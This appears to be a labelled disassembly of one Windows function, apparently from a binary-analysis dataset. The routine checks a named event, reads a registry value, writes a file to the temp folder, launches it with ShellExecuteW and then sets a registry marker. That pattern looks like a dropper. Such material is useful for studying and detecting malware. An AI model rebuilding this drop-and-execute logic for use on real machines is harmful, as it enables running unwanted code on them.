Function at 0x40a3e0
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x236]
push ecx
mov word [ebp - 0x238], ax
call fcn.00411f00
xor edx, edx
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x2a], eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov eax, 0x423508
mov word [ebp - 0x2c], dx
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x248], 0x104
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40a456
mov esi, dword [sym.imp.KERNEL32.dll_OpenEventW]
sub eax, edx
sar eax, 1
je 0x40a483
push 0x423508
push 0
push 0x20000
call esi
test eax, eax
jne 0x40a679
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x23c]
push eax
push 0xf003f
push 0
push 0x41e548
push connect
call ebx
test eax, eax
jne 0x40a50d
lea ecx, [ebp - 0x248]
push ecx
mov ecx, dword [ebp - 0x23c]
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x244]
push eax
push 0
push 0x41e5dc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40a500
lea edx, [ebp - 0x2c]
push edx
push eax
push 0x20000
call esi
test eax, eax
je 0x40a500
mov eax, dword [ebp - 0x23c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a7df
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x238]
push edx
push 0x104
mov dword [ebp - 0x240], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, 0x423528
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40a531
sub eax, edx
sar eax, 1
jne 0x40a576
push 0x41e5ec
lea eax, [ebp - 0x238]
push 0x104
push eax
call fcn.0040b275
add esp, 0xc
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + 0x41e5ec]
mov word [ebp + eax - 0x2c], cx
add eax, 2
test cx, cx
jne 0x40a560
jmp 0x40a5a5
push 0x423528
lea ecx, [ebp - 0x238]
push 0x104
push ecx
call fcn.0040b275
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + 0x423528]
mov word [ebp + eax - 0x2c], cx
add eax, 2
test cx, cx
jne 0x40a591
push 0x41c42c
lea edx, [ebp - 0x238]
push 0x104
push edx
call fcn.0040b275
lea eax, [ebp - 0x240]
add esp, 0xc
push eax
call fcn.00401130
mov esi, eax
add esp, 4
test esi, esi
je 0x40a679
mov ecx, dword [ebp - 0x240]
push ecx
lea edx, [ebp - 0x238]
push esi
push edx
call fcn.0040a690
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x41c428
lea eax, [ebp - 0x238]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x23c]
push ecx
push 3
push 0
push 0x41e548
push connect
call ebx
test eax, eax
jne 0x40a670
lea eax, [ebp - 0x2c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40a631
mov ecx, dword [ebp - 0x23c]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x2c]
push eax
push 1
push 0
push 0x41e5dc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40a670
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.0040b20b
add esp, 4
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040a7df
mov esp, ebp
pop ebp
ret